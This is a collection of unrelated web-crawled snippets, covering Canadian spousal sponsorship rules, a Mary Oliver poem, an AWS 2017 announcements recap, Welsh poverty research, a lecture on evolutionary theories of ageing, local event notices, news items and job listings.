text:
One of the objectives of the Immigration and Refugee Protection Act (the Act) is to see that families are reunited in Canada. The Family Class category is for applicants who have a close relative who is not a Canadian Citizen or Permanent Resident of Canada. A family class can be defined as a class of persons who may become permanent residents on the basis of the requirements provided under the Act. Members of the family class include:
The family class category seeks to promote family reunification rather than national economic goals. Citizenship and Immigration Canada is of the opinion that the support of the sponsors assists new immigrants in achieving self-reliance and expediting their contribution to their Canadian community.
Sponsors assume a legal obligation to help the Foreign National being sponsored and therefore, may have to meet certain income requirements set out by the Immigration and Refugee Protection Act.
The Sponsor and any Co-Sponsor are responsible for providing the essential needs for the person being sponsored and their dependents for a period of three to ten years after their relative's arrival in Canada. Should the Canadian Sponsor fail to support the Foreign National, and the Foreign National receives social assistance, the Authorities may take legal recourse.
Co-Sponsors become necessary when a single individual cannot meet the minimum financial requirements. Married and common-law partners who are Canadian Permanent Residents or Canadian citizens may be Co-Sponsors. Co-Sponsors assume the same obligations and responsibilities as the sponsor, and must also sign the application forms for sponsorship.
Sponsorship Obligations: The undertaking shall be given to the minister or if the sponsor lives in a province which has criteria regarding such undertaking, then to the competent authority of such province (Only in Quebec). The undertaking is a binding contract between sponsors and the Minister of Citizenship and Immigration. Sponsors (and co-signers) promise to provide the sponsored person with basic requirements from the day they enter Canada until the end of the specified period of the undertaking. The undertaking for a spouse, common-law partner or conjugal partner is 3 years from the date of becoming a permanent resident.
You may not be eligible to be a sponsor if you:
The Spousal Sponsorship program is an important subsection of the Family Class immigration category. Under this program, a Canadian citizen or permanent resident may sponsor a spouse or common-law partner and dependent children for Canadian permanent residence.
Both the Canadian citizen or permanent resident and the foreign national must be approved by Immigration, Refugees and Citizenship Canada (IRCC) in order for the sponsored person to receive a visa.
In order to receive a visa through this immigration program, the sponsor and sponsored person must prove that their relationship qualifies under any one of following three categories:
Inland sponsorship is when the couple is together in Canada and the foreign spouse/common-law partner has temporary status in Canada, either as a worker, student, or visitor. However, the person being sponsored may be eligible for an Open Work Permit, allowing him or her to work for any employer in Canada while the sponsorship application is being processed.
If a permanent resident sponsor misrepresents a material fact on their application to sponsor, it could result in the sponsored relative being found inadmissible and the permanent resident sponsor could be removed from Canada and be found inadmissible for a period of 2 years from the date of removal. If a Canadian citizen sponsor misrepresents a material fact on their application to sponsor, they could face penalties.
Our experts will help you with preparing your application and a complete list of the documents required for the PR Card renewal.
Call us at 905-461-2424 or Write us at email@example.com


text:
02 Poem
POEM FOR LIFEI love this poem. I first heard it when one of my teachers shared it with us during a meditation on my teacher training. Especially the last two lines really struck home with me, because at the time I was going through some major changes in my life and trying to figure out what I wanted to do. It was a lovely reminder that there is no need to worry and that life is beautiful when you learn to pay attention.
THE SUMMER DAYWho made the world?
Who made the swan, and the black bear?
Who made the grasshopper?
This grasshopper, I mean-
the one who has flung herself out of the grass,
the one who is eating sugar out of my hand,
who is moving her jaws back and forth instead of up and down-
who is gazing around with her enormous and complicated eyes.
Now she lifts her pale forearms and thoroughly washes her face.
Now she snaps her wings open, and floats away.
I don't know exactly what a prayer is.
I do know how to pay attention, how to fall down
into the grass, how to kneel down in the grass,
how to be idle and blessed, how to stroll through the fields,
which is what I have been doing all day.
Tell me, what else should I have done?
Doesn't everything die at last, and too soon?
Tell me, what is it you plan to do
with your one wild and precious life?
—Mary Oliver

subset: commoncrawl


text: The Military Ten Year Myth Debunked There are a lot of misconceptions when it comes to dealing with the military, and specifically with military divorce. As a non-military member myself, I totally understand. With all the abbreviations and various oddities of military life (that military service members seem to think makes perfect sense), it can be hard to figure out what's going on. Military divorce is, in most ways, identical to civilian divorce. You still follow the same basic procedure … [Read more...]


text:
— The Openherd Team
No PayPal account required
Price includes domestic shipping.
This hat is hand-knit and machine felted, using alpaca yarn made from US alpacas. Each hat is unique with no two alike. Sizing varies and may be stretched or shrunk based on your individual preference to fit. This one is dark brown with pink trim and a floppy-style brim. Sure to keep your head warm and dry. Made in the USA. (Note: if a different color or style/size is desired, please contact us for special requests).


text:
Just then, a walnut fell from above and landed with a 'tock' on Mullah Nasruddin's head. The mullah rubbed his sore head, picked up the fallen walnut, and looked high up towards the branches of the tree. Then, he looked over thankfully at the swollen pumpkins growing safely on the ground.
"Oh mother nature, you are wise!


text:
AWS re:invent 2017 – Data and Analytics Announcements.
Every year, we take a look at the avalanche of announcements made at AWS re:invent and explore the possibilities offered by new Big Data and Analytics products and services.
Following the trend from last year, the focus has been put on the Data and Analytics stack, especially in the Artificial Intelligence and the Machine Learning spaces. But first, before we take a look at some of those enhancements, let's get back to fundamentals with an interesting new EC2 instance.
EC2 H1 Instances
Like the D family, the H family is data focused, but with more processing power. The typical use case is for heavy data streaming and processing. AWS already offers Managed Services covering these use cases, but there may be a time when full control on the underlying OS is required, or when public end-points used by those services are not allowed. This is when EC2 H1 comes along.
Amazon Neptune and Aurora Server-less
There are two big announcements on the DB-front. The first is Amazon Neptune, a Graph Database that will be the subject of a separate blog.
The second is Aurora Server-less: Aurora's architecture was decoupling storage from compute, where users would provision instances based on their compute requirements and storage would scale automatically. There was no need to buy more compute to get additional storage. When there was a need for more compute power, the instance could be scaled up easily, but there was no option to scale out. It was not ideal for highly fluctuating data processing requirements.
Now with Aurora Server-less, both parts of the architecture (compute and storage) can scale in and out independently, making the applications using it more resilient to sudden changes in storage and processing power requirements.
Amazon SageMaker
As mentioned previously, major announcements were made in the ML area and the biggest announcement was the introduction of SageMaker.
SageMaker offers a workflow experience when building and publishing ML models, although every step in the workflow can be used in isolation.
At a high level, the steps are data preparation, model building /training and model publication.
For data preparation, Jupyter notebooks are used. Jupyter allows exploration of data stored in S3. To help build the models commonly used Machine Learning algorithms are embedded in the service, while custom ones can be built using docker.
With SageMaker, AWS caters for more advanced ML practitioners who are limited by the "black-box" aspect of AWS' other ML service called … AWS ML. Let's hope this doesn't confuse too many people. It will be interesting to see how AWS comparatively positions the two products.
This is my take on some of the announcements made by AWS in the Data and Analytics space. There were a lot more announcements, especially in the Artificial Intelligence space that will be covered in a future blog. We are curious to see the adoption and the real life business problems that will be solved by these new AWS features.
-Guillaume Jaudouin, AWS Practice Lead
Join the conversation
Post has no comments.


text:
Horicon Marsh Events
The Wisconsin Department of Natural Resources and Friends of Horicon Marsh Education and Visitor Center are excited to offer a variety of fun, exciting and family friendly programs. Check out the calendar below for more information. Click here for a printer friendly version of all activities around the marsh.
- This event has passed.
Rock River Archaeological Society Speaker
November 20, 2019 @ 6:30 pm - 8:30 pm
Rock River Archaeological Society 2019-2020 Programs
All programs are held at the Horicon Marsh Education and visitor Center at N7725 Hwy 28, Horicon, WI.
The public is invited, with doors opening at 5:45 PM and beginning at 6:30 PM. Access can be made from
the upper parking lot until 6:30 PM or at the lower doors for the whole evening.
November 20, 2019 – Kelly Bleich doing a program on the passenger pigeon that used to darken the sky but
are now extinct.
December 18, 2019 – Rock River Archaeological Society presents its own "Road Show". Everyone, members
and public, are welcome to bring an item that needs identification.
January 15, 2020 – Lahnie Neu, Curator for the Satterlee Clark House in Horicon, WI, since 2006. She will
share history of the 1885 home and an 1881 school house plus display artifacts.
February 19, 2020 – Benjamin Talbot and Archan Sramek will present program on the Lakota Sweat Lodge
March 18, 2020 – Bruce Markert will present "Pre-Historic Organisms that live in waters tell the health of the
stream or river.
April 15, 2020 – Steve Rogstead of the Sheboygan County Research Center and Lincoln expert will present
"Lincoln in Wisconsin".
May 20, 2020 – Jessica Michna of Historical First Impressions, will present "MARY TODD LINCOLN: "A
Widow Forgotten"
We hope to see you at many of the events that the education center has to offer. All events are subject to change. The Horicon Marsh Education and Visitor Center is located on Hwy. 28 between the cities of Horicon and Mayville. For more information please call Liz Herzmann at 920-387-7893 or e-mail her at firstname.lastname@example.com.


text:
A Nigerian court has charged the leader of a militant group with treason and plotting to remove President Olusegun Obasanjo from office.
Moujahid Dokubo-Asari pleaded innocent to the charges Thursday in an Abuja court, where he called out for freedom for his ethnic Ijaw people.
Police were deployed outside the court to prevent violence.
Mr. Asari was arrested last month after calling for the break-up of Nigeria in a newspaper article.
The arrest prompted his militant group, the Niger People's Volunteer Force, to threaten to destroy oil facilities in the oil-rich southern Niger Delta region unless he was released.
The militants briefly took over a flow station of the U.S.-based oil company Chevron, forcing the company to shut down two facilities. They later declared a cease-fire with the government.
Militants say they are fighting for a greater share of Nigeria's vast oil wealth.
Some information for this report provided by AFP and AP.


text:
Phone: 503-823-7529
1120 SW Fifth Avenue, Portland, OR 97204
Phone: 503-823-7529
1120 SW Fifth Avenue, Portland, OR 97204
Funding from the voter-approved Parks Replacement Bond was used to make restroom improvements at Ed Benedict Park to provide a year-round restroom option for park users, particularly those using the skate park. Ed Benedict Park currently has two restrooms: 1) In center of park, near SE 102nd Avenue and 2) the east side of the park, near the Portland Memory Garden and Community Garden.
The Parks Replacement Bond originally planned for installation of a Portland Loo at Ed Benedict Park near the skate park. After further analysis, Parks staff has determined the existing restrooms nearest to the skate park in Ed Benedict Park (near SE 102nd Avenue) could be winterized with some minor improvements and kept open year-round to fill this need.
The winterization work was completed in 2017, and the asphalt and concrete pathways around and near the restrooms were replaced in September 2018 to meet ADA requirements.
Winter 2017 - Spring 2017
Design Process for Ed Benedict Park improvements
Summer 2017 - Fall 2017
Construction Documents
Winter 2017/18 - Spring 2018
Permitting and Bidding
Summer 2018 - Fall 2018
Jill Hutchinson, Project Manager
firstname.lastname@example.com | 971-940-5733
Maija Spencer, Public Involvement Coordinator
firstname.lastname@example.com | 503-823-5593


text:
10 December 2015
Article by Hannah Johnson, National Assembly for Wales Research Service
This year, debates about poverty in Wales have been high up the political agenda. Discussions focused on the effectiveness of government programmes, continuing reforms to welfare and what the next five years hold for the poorest in the country.
With the election looming and a stubbornly high proportion of the Welsh population living in poverty, here's a rundown of the key events, publications and research on poverty published in 2015, in reverse chronological order:
Ahead of the United Nations Summit on Climate Change in Paris in November the Minister for Natural Resources warned that the poorest in Wales will take the biggest hit from climate change. He said:
Climate change is one of the biggest challenges facing the world in the 21st century which has significant environmental, economic, cultural and social consequences. It will affect future generations, and [disproportionately] impact people in poverty within Wales and worldwide."
The Bevan Foundation published a report in November calling for the next Welsh Government to implement a national programme to spread prosperity and boost the life chances of thousands of people in Wales.
It argued that the next Welsh Government needs a radical new approach which:
- is of sufficient scale to achieve a measurable improvement in the distribution of income and life chances;
- recognises the specific needs of people at different stages in their lives;
- is pan-Wales in scope and impact;
- includes action by all key organisations – including business, the public sector and third sector.
The Welsh Government launched a consultation in October on a set of legally-required performance indicators to measure the seven well-being goals (one of which is 'a prosperous Wales') in the Well-being of Future Generations (Wales) Act 2015.
There is also a requirement to set milestones in relation to the indicators.
A number of the proposed indicators relate to poverty, including: number of babies born at a healthy weight; homelessness; people in work; people able to afford everyday goods and activities; and life expectancy, among others.
Notably, one of the proposed indicators is 'the number of people living in poverty', which is not used as a performance indicator by the Welsh Government's Tackling Poverty Action Plan.
In October the Minister for Communities and Tackling Poverty announced an investment of £41.1 million from Welsh Government and EU funds for the Communities For Work Programme. According to her statement, this is a three year programme, and will 'help support 8,000 individuals into employment'. She also stated that it will specifically "support economically inactive and long term unemployed adults and young people who are NEETs, who have complex barriers to employment to re-engage with the labour market."
The Minister also launched the Welsh Government's Parents, Childcare and Employment (PACE) programme, to help economically inactive parents into training or employment where childcare is their main barrier. The scheme will be delivered across each local authority in Wales and is expected to help 6,400 economically inactive parents aged over 25 into work or training over the next three years.
The Bevan Foundation published a report in September speculating what Wales will be like in 2020. It suggested that:
- poor families will be £40 a week worse off, while the average full-time worker will be £125 a week better off;
- there will be 17% more professional jobs, but 12% less semi- and unskilled jobs;
- there will be a shortfall of around 60,000 new homes; and
- 70,000 children will leave school without 5 good GCSEs.
The Foundation's Director argued that "there needs to be an honest discussion about universalism and targeting, and about place-based versus people-based approaches".
In September, the Joseph Rowntree Foundation published its biennial Monitoring poverty and exclusion in Wales report, which found:
- an average of 700,000 people were in poverty in Wales in the three years to 2013–14, equivalent to 23 per cent of the population;
- compared with ten years earlier, there are more people of working age (particularly young adults) in poverty and fewer children and pensioners in poverty;
- there has been no reduction in the extent of low pay in Wales for a decade. 270,000 jobs, mainly held by women, are paid below two-thirds of the UK median hourly wage;
- in 2014 there were 30,000 Jobseeker's Allowance (JSA) sanctions, which is lower than in 2013, due mainly to there being fewer claimants.
In June, the Assembly's Communities, Equality and Local Government's Committee published a report citing deep concern at static poverty levels in Wales, and called on the Welsh Government to significantly refresh its approach to poverty reduction. One political commentator suggested that it was 'potentially the most important inquiry since devolution'.
The Minister for Communities and Tackling Poverty responded to the report in October, saying that she did not consider the Welsh Government's approach needed reviewing. Further information on the Minister's response to the report is available in my previous blog post.
In April, the National Assembly for Wales passed the Well-being of Future Generations (Wales) Act 2015. The Act aims to improve the social, economic, environmental and cultural well-being of Wales.
The Act aims to make certain public bodies think more about the long term, work better with people and communities and each other, look to prevent problems and take a more joined-up approach.
The Welsh Government published its revised Child Poverty Strategy in March. Following consultation, the Strategy retains the three previous strategic objectives. These focus on reducing the number of children living in workless households, increasing skills and reducing inequalities in health, education and economic outcomes. It also set two new objectives: one focussed on the role of the economy in creating jobs and growth for Wales, and the other on tackling in-work poverty.
The Strategy also makes it clear that "the Tackling Poverty Action Plan remains the key mechanism by which [the welsh Government] will deliver the aims of [its] Child Poverty Strategy".
In January, the Auditor General for Wales published a report Managing the Impact of Welfare Reform Changes On Social Housing Tenants in Wales.
The report examined the impact of welfare reform changes on social housing tenants in Wales and found that that the changes to Housing Benefit introduced by the welfare reform programme were having a significant impact on Welsh councils and housing associations, who were struggling to deliver effective and sustainable solutions.
The Assembly's Public Accounts Committee decided to undertake an inquiry on the issue. It found that the welfare reforms were hitting people already in poverty particularly hard. Some social landlords use 'financial capability assessments' to gauge tenants' ability to pay rent, which, if failed, effectively means they would be 'too poor for social housing'.
The report recommended that the Welsh Government:
- develop a welfare reform strategy to increase consistency and provide coherent leadership on the issue;
- publish the suite of options considered by Ministers to mitigate the impact of the removal of the spare room subsidy (the so-called 'bedroom tax');
- collect key data from the UK Government Department for Work and Pensions, local authorities and housing associations;
- monitor the impact of financial capability assessments and undertake research into the profile of applicants who fail them;
- exercise greater influence to ensure a consistent approach to the use of discretionary housing payments across Wales.
The Minister responded in August, but the Committee asked for further information, which was received in November.


text:
Post Buy Analysis and Reconciliation
Once your commercials have run, Advertus Media makes sure they ran right. We analyze broadcast invoices to check for proper ad separation, verify billing integrity and make sure that your advertising schedules ran as ordered. We can also compare the schedule against the individual station's latest ratings to substantiate the effectiveness of the ad buy and measure the estimated audience delivery to actual delivery.


text:
Local Organizations Team-Up to Host 2nd Annual Midtown Community Work Day
SwedishAmerican Foundation, Midtown District, Rockford Habitat for Humanity and Thrivent Financial is excited to announce it is hosting its 2nd annual Midtown Community Work Day on Saturday, August 5. Earlier this year, owner-occupied residents that live in the Midtown District were eligible to apply for a $2,500 exterior repair grant. Six local residents will have work done to their homes on August 5.
Additionally, local volunteers from the Rockford Area Habitat for Humanity, East High School, SwedishAmerican and local community members will help residents who received a grant build ramps, paint, clean gutters, plant trees, flowers and shrubs, replace windows and doors and do general repair work to their homes.
Funding is being provided by Thrivent Financial, a local financial services firm that supports programs to help build stronger families, churches and communities. The six residents who will receive a grant on August 5 also have the opportunity to meet with Habitat for Humanity one-on-one to discuss their needs and develop a punch list for their specific project. In addition to the six homes that are being repaired, volunteers also will work on a beautification project for the Midtown District.
"This project is the perfect opportunity to bring our Midtown community together to promote a safer, healthier and more empowered neighborhood," says Rockford Habitat for Humanity Executive Director Keri Nelson. "We are excited to award these grants to six well-deserving neighbors. This local project is just one more way we are beautifying Rockford and our downtown community."
Below is a run-down of events for the Midtown Community Work Day on August 5:
•8:00 AM – Registration and breakfast provided for volunteers (Rockford Public School District Headquarters, 501 7th Street, Rockford)
•8:30 AM – 12:00 PM – Volunteers will work on outdoor projects
•12:00 PM – Lunch provided to volunteers at RPS District Headquarters
•1:00 – 4:00 PM – Volunteers will work on outdoor projects
Volunteers are still needed to help at the Midtown Community Work Day. To sign-up, go to http://tinyurl.com/MidtownWorkDay. For more information about Midtown Community Work Day, please contact Habitat for Humanity at (815) 636-4573.
For further information, contact:
|Katryna Kirby


text: Using the finest ingredients for you to enjoy, we bake our pound cakes to be wonderfully rich, moist, and buttery with a lovely golden brown crust. We offer regular a handful of flavors which come in both regular and mini sizes. Take a look around and feel free to contact us with any questions.


text:
Does your family do something special or different when there is a new baby experiencing Christmas for the first time?
It has become commonplace for retailers to offer stockings and baubles with 'baby's first Christmas' on them, but there are many other ways to make the first Christmas special for the new parents and everyone's memories.
Maybe start a family tradition of Christmas photos (thanks for the idea Bronwyn) or the youngest person gets the first gift. Or perhaps rethink the venue and format of your Christmas celebrations to be more baby and child friendly. Get everyone to sign a Christmas card or scrapbook page (like a 21st key or wedding guest book) or record a video message.
So, what does your family do for first Christmases? Or is another Christmas experience considered more important in your family?
Having 5 kids, I know about babies and how to care for them 🙂 I also know how tiring a new baby can be – especially for people who are learning who to do the practical things as well as coping with the physical and emotional aspects of new parenthood.
So after reading Marissa's story of loving the babysitting voucher, I thought I would share some gift ideas for new parents as family and friends often want to help but have no idea how…
There are 2 concepts – one is to give them some pampering to refresh them and remind them they are people beyond parents – but I'm just going to give ideas for helping them as parents.
I don't remember such a fuss being made about a baby's first Christmas when I was younger – I never saw baubles and stockings declaring 'baby's first christmas' until my own kids were at least teenagers! And I'm not sure anyone benefits from this change – well, no one other than the retailers that is.
For starters, the baby can't read and doesn't really care – sorry to disappoint you but it's true. If the baby is old enough to sit up and watch Christmas around them, they'll be more interested in the wrapping paper, people and decorations than a stocking (especially as many are insipid pastel things for some silly gender bias).
I prefer the ideas from Santa's Elf on items that are at least reusable – put the year of the first Christmas on the stocking they'll use for the next decade or so or get a beautiful photo you can display. Much better use of money than a stocking that is too small to hold anything and looks silly if used for baby's second or third Christmas.
But even better is to just enjoy Christmas with that baby – they don't stay babies for long so treasure it by playing together rather than buying mementos you'll just have to store and never look at again.
A special note for grandparents, aunts, uncles and so on – it's cute to acknowledge someone's first Christmas with a baby but think about if they really want a cheap stocking or a genuine keepsake. My daughter was inundated last year with cutesy stockings and baubles – she feels guilty throwing them out but hates the idea of storing such nonsense. The friend who took a lovely photo of each parent holding the baby and framed them put in a little more effort and his gift is proudly on the wall for all to see.
My daughter was also happy with her brother's 'first Christmas' idea of starting a family album where a photo of my grandchildren (I assume more will come!) will be placed each Christmas as a record of the family growing.
So I just think people should put a little thought into first Christmases rather than those commercialised ideas retailers want us to follow. I don't mean to offend, just to get people thinking…
As parents and families, we often get excited by a baby's first experience of things – and Christmas is no exception to this.
Of course, what happens for the baby on Christmas can be very different as it could be one day or 364 days since their birthday. A newborn will have no idea Christmas Day is special but an older baby will notice things are happening.
Many of the things done to show it is a special day for the new family form mementos (keepsakes) that can be saved or even reused, such as:


text:
Digital Marketing Expert
Current Vacancies : 1
Education: Any Graduate
Experience: 0 to 1 year
Roles and Responsibilities
- Handling all aspects of SEO
- On-page and Off-Page
- Good written and communication skills
- Using various advanced tools for SEO research & analysis Keyword Research, Directory submission, Business Listing, Blog posting, Social Bookmarking Directory submission, Business Listing, Blog posting, Social Bookmarking
- Optimize copy and landing pages for search engine marketing
- Recommend changes to website architecture, content, linking and other factors to improve SEO positions for target keywords.
Business Analyst
Current Vacancies : 1
Education: Any Graduate
Experience: 0 to 1 year
Roles and Responsibilities
- Responsible for online bidding on Up Work, Elance, GURU etc.
- Excellent Communication Skills.
- Experience in handling International clients.
- Must be proficient in proposal writing, keeping follow-ups, communication link between the development team & clients.
- Understanding and obtaining the needs of the clients, preparing various presentations.
- Work on the cold calling and email leads.
- Identifying new market and business line.
iOS Developers
Current Vacancies : 2
Education: B.Tech (CS/IT)/B.E (CS/IT)/M.Tech/MCA
Experience: 2+ years
Skills Required:
- Strong programming skills in Objective-C, Java.
- Familiar with IOS SDK (UIKit, Cocoa Touch, Core Data, Core Location etc.)
- Familiar with X-code, Good knowledge of web based applications using phone gap & Appcelerator/ Titanium
- Experience with memory management and caching mechanisms specific to mobile devices
- Remarkable experience with iOS application development using the iOS SDK.
- Knack for benchmarking and optimization
Android Developers
Current Vacancies : 2
Education: BCA/B.Tech (CS/IT)/B.E (CS/IT)/M.Tech/MCA
Experience: 1 to 2 years
Skills Required:
- Strong knowledge of Android SDK, different versions of Android, and how to deal with different screen sizes
- Familiarity with APIs to connect Android applications to back-end services
- Strong knowledge of Android UI design principles, patterns, and best practices
- Experience with offline storage, threading, and performance tuning
- Knowledge of the open-source Android ecosystem and the libraries available for common tasks
- A knack for benchmarking and optimization
Sr. PHP developer
Current Vacancies : 1
Education: BCA/B.Tech (CS/IT)/B.E (CS/IT)
Experience: 6 months to 1 year
Skills Required:
- Proficient in core PHP, MySQL, CSS, HTML, Javascript.
- Nice to have experience with Magento,cake PHP, Laravel, yii, Codeigniter.
- Should Write clean well designed code.
- Should Troubleshoot, test and maintain the core product software and databases to ensure strong optimisation and functionality.
- Should Contribute in all phases of all development life cycle.
- Should Follow industry best practices.
Graphics Designer / Web Designer
Current Vacancies : 1
Education: BCA/B.Tech (CS/IT)/B.E (CS/IT)
Experience: 0 to 1 year
Skills Required:
- Well versed with adobe photoshop, HTML5, CSS, Bootstrap, Jquery, Illustrator.
- Should have done 6 months training in web and graphic designing.
- Strong design fundamentals (type, image, color).
- Good communication and interpersonal skills.
- Enthusiastic and should be a quick learner.
- Good planning, organizing & time management skills.


text:
Skip to 0 minutes and 5 seconds We're all familiar with what ageing actually looks like. We all have elderly relatives, et cetera, or are ageing ourselves, grey hair, wrinkly skin. But an interesting issue is why do we actually age? Can we understand it in terms of Darwinian evolution, from an evolutionary point of view? Well, the first thing to consider - is it actually adaptive? Are there good reasons for us to age, and perhaps increase the chances of dying. Well, some people do believe it is, and talk about programme for ageing just like in development. Now in that case, individuals age and increase the chances of dying, are removed from the population, make space for the next generation. It makes sense in evolutionary terms. But does it?
Skip to 0 minutes and 54 seconds There's real caveats and problems with that argument. The first thing is that, in the case of humans for example, we would only really drop dead or remove ourselves from the population if we can really benefit our immediate kin, our children, our grandchildren. We wouldn't voluntarily drop dead for the benefit of unrelated kin. That just doesn't make evolutionary sense. And in fact for humans, it's actually not feasible for us to be so directive on how our removal - who would benefit from that. The second reason that programmed ageing doesn't work is, in fact, in humans, in natural state - natural fertility, natural mortality - there's very few elderly individuals in those populations just because life is so tough.
Skip to 1 minute and 43 seconds There's very few individuals that reach old age. Selection is actually very weak at old ages. So in fact actually, there's very little selection on removing those individuals from the population. It sort of just misunderstands the whole process of evolution to propose that a programme can exist for ageing. So what alternatives are there? The first real alternative was proposed in the early '50s by Peter Medawar. Now, he was thinking about this issue that the force of natural selection declines with age. And he was thinking, well perhaps, over evolutionary time, if certain genes are late-acting and have accumulated mutations over the generations, then perhaps those genes are difficult to remove through the selective process.
Skip to 2 minutes and 36 seconds And their expression is what we're seeing, when we see an ageing individual. He had in mind a disease called Huntington's disease, which is a very serious neurological disorder, that's created by a mutation in the gene huntingtin. And what he realised was although it's a very serious disease, the effects are really only observed in ages beyond 40 or 50. Now that is the age in humans after which most people have had their children. So in fact the children have already been born and are maybe even carrying that mutation. And they'll also be experiencing Huntington's disease in later age, or at least 50% of them will be.
Skip to 3 minutes and 18 seconds And so if he extended that to say that perhaps this was true of many genes, what he termed mutation accumulation could account for a large part of ageing. So that was one idea from genetics. An alternative idea was put forward in the late '50s by a guy called George Williams. He was obviously aware that many genes have pleiotropic behaviour. They act in different ways in different circumstances. And what he thought was perhaps these genes, or in the case of genes that have effects in early life, maybe they have different effects in late life. Beneficial in early life and detrimental in late life, and he termed this antagonistic pleiotropy.
Skip to 4 minutes and 0 seconds Genes that he was thinking about were genes for - oestrogen, for example - that's beneficial in terms of fertility early in life, but are detrimental in terms of increased levels of cancer in later life. Another gene that has been mentioned is P53, which is protective in early life against DNA damage, the arrival of cancers, but perhaps is detrimental to tissue function in later life by increasing levels of apoptosis. So these two theories are feasible and perhaps contribute to ageing.
Skip to 4 minutes and 33 seconds But about 15 years or so ago, through examining the contribution of genetics to ageing in monozygotic and dizygotic twins, researchers were able to establish that only about 25% of differences in ageing can be accounted for by genes, such as through a process like mutation accumulation or antagonistic pleiotropy. 75% of the variation therefore is unaccounted for. So how are we going to deal with this? Well, an alternative way of thinking about this was proposed by Tom Kirkwood in the late '70s, and he termed this disposable soma theory of aging.
Skip to 5 minutes and 14 seconds What it's based on is thinking about individuals, individual humans, as organisms that take in resources - food, micronutrients, et cetera - and partition those resources between different physiological processes of growth, reproduction, maintenance, keeping ourselves in good condition. Obviously in early life, most of the resources go into growth. But on maturity, there's is a decision on how much resources should go into reproduction, and how much resources should go into maintenance to keep ourselves in good condition so that we live long enough to have several reproductive efforts. And it is that trade-off between reproduction and maintenance that can explain the ageing process.
Skip to 6 minutes and 5 seconds Basically from an evolutionary point of view, we all need to have babies, and that is at the expense of our maintenance processes. Because after all, resources are finite. This other 75% of variation therefore can be accounted for by differences in the way that these resources are allocated. So what further evidence is there of decisions, plasticity in the way resources are allocated? Well interestingly, there's a major programme of research that followed on from the discovery in the mid '30s that if you reduce diet in rodents, you can observe a substantial extension in lifespan.
Skip to 6 minutes and 51 seconds Basically what seems to be happening is these mice, rats, seem to be shutting down their reproduction and using all their resources in maintenance, enhancing maintenance processes, and keeping themselves in a more youthful condition, and thereby living longer. But these animals are largely infertile. Now are the same processes true in humans? Some humans believe they are. And some people are subjecting themselves to voluntarily caloric restriction, or food restriction, and are constantly monitoring how much they eat per day, and trying to keep their diet at very low levels, severely low levels, about half of what we ideally like to eat, in the hope that they're going to live a long life.
Skip to 7 minutes and 36 seconds Now in humans, there's not a lot of evidence that we are going to benefit like small organisms, such as rodents. Although clearly there will be some initial benefit from the conditions of overeating. So the jury's out really on whether undernourishment is actually going to benefit us in the same way it has in rodents. The most important issue though to take from this evolutionary argument is that we can explore the plasticity in ageing through this framework of disposable soma theory, for example. And thereby, by doing that, we're far more confidence in actually proposing interventions in ageing to extend lifespan that makes sense from our biology, our underlying biology, from how it's been built over evolutionary time.
Skip to 8 minutes and 27 seconds And if we can do that, of course, then we'll have far less side effects in any interventions that we actually establish in the future.
Why do we age?
Ageing can be described as a progressive loss of function accompanied by decreasing fertility and increasing mortality. Such a trait that impairs survival and fertility is clearly bad for the individual, so why has it evolved? In this video, Dr Daryl Shanley from Newcastle University asks: why do we age and can we understand this process from an evolutionary point of view?
Daryl discusses the following major evolutionary theories of ageing:
|Programmed death
August Wisemann (1899)
|This theory suggests that animals are programmed to have a limited life-span so that the older generation can make room for the next generation.
|Mutation accumulation
Peter Medawar (1952)
|Harmful mutations that are expressed later in life (such as Huntington's disease) are not selected against and are passed on. Over successive generations, these late-acting harmful mutations will accumulate, leading to an increase in mortality rates later in life.
|Antagonistic pleiotropy
George Williams (1957)
|This theory points to the existence of pleiotropic genes - genes that demonstrate favorable effects on fitness at a young age and harmful effects at old age - as an explanation for the ageing process.
|Disposable soma theory
Tom Kirkwood (1977)
|This theory states that every living organism must budget its energy amongst different physiological processes. In early life, most resources go into growth, but on maturity, there is a trade-off between self-maintenance and reproduction. Ageing is a result of this trade-off.
These theories are not mutually exclusive and can provide complementary explanations for why ageing occurs. Do you think these theories are a helpful way to explain the ageing process?
© University of Liverpool/The University of Sheffield/Newcastle University


text:
Domestic disturbance leads to arrests
Police said
Richard Bassett
, 58, bit his wife on the hand, attempted to assault the taxi driver and threatened to kill him while the couple were riding in the cab about 2 p.m.
Bassett ran from the cab and was found hiding in the nearby woods. Police initially brought no charges against his wife, Eden Bassett, 45, and gave her a ride home.
Richard Bassett was charged with first-degree reckless endangerment, third-degree assault disorderly conduct and interfering with police.
But police said Eden Bassett was intoxicated when she drove back to the police department about 4:35 a.m.
She was charged with drunken driving.


text:
On Thursday December 7, 2017 the Fourth Circuit will hear oral arguments in Upstate Forever v. Kinder Morgan Energy, on whether liability under the Clean Water Act can be imposed where a pollutant is not directly discharged into surface waters, but instead reaches surface waters through an unpermitted discharge into groundwater. The Clean Water Act ("CWA") prohibits unpermitted discharges of a pollutant from a point source into navigable surface waters. …Read More
Local Ordinances Play a Major Role in Green Infrastructure
Local governments can do a lot to promote and improve green infrastructure by implementing best practices and fostering emerging technologies. Just look at what Atlanta, Georgia and Raleigh, North Carolina have done through their local ordinances this year. On November 20, 2017, Atlanta City Council unanimously adopted a new infrastructure regulation that requires all new residential and commercial buildings to install electrical infrastructure to support Electric Vehicle (EV) chargers. In …Read More
Update: Water and Sewer System Development Fee Bill becomes Law with Governor's Signature
A few weeks ago, we noted how Ratified House Bill 436 might affect system development fees for public water and sewer systems in North Carolina. On July 20, the Governor signed House Bill 436 into law. For more information or an in depth analysis of how this legislation affects local government policies and/or development obligations of landowners, please contact Gray Styers, Tom Terrell, or Katye Jobe.
N.C. Water and Wastewater Infrastructure 2017 Master Plan
The N.C. State Water Infrastructure Authority was created in 2013 to assess and make recommendations concerning the State's water and wastewater infrastructure needs and award funding. The Authority recently released the 2017 Master Plan for North Carolina's water and wastewater infrastructure. The Master Plan is designed as a resource for owners and operators of water and wastewater utilities and systems that serve the public. It identifies best practices for utility …Read More
Water and Sewer System Development Fee Legislation Awaits Governor's Signature
Local governments, real estate developers, and all who are interested in how infrastructure development fees are allocated and assessed in North Carolina should take a moment to review House Bill 436, which was ratified by the General Assembly on June 29, 2017. After much debate in the Legislature this session around the issue, the ratified version of HB 436 would not eliminate the authority of counties and cities to assess …Read More


text:
All Blacks coach Steve Hansen has announced that his side are to travel to South Africa without Dan Carter and Sonny Bill Williams.
After New Zealand's victory over Argentina, Hansen explained; 'Sonny has got bit of a busy schedule so we will let him have some time at home and DC [Dan Carter] can have some time at home as well – along with the other guys'.
Hansen added, 'in deciding on the squad to travel to South Africa, the selectors based their selections on three criteria'.
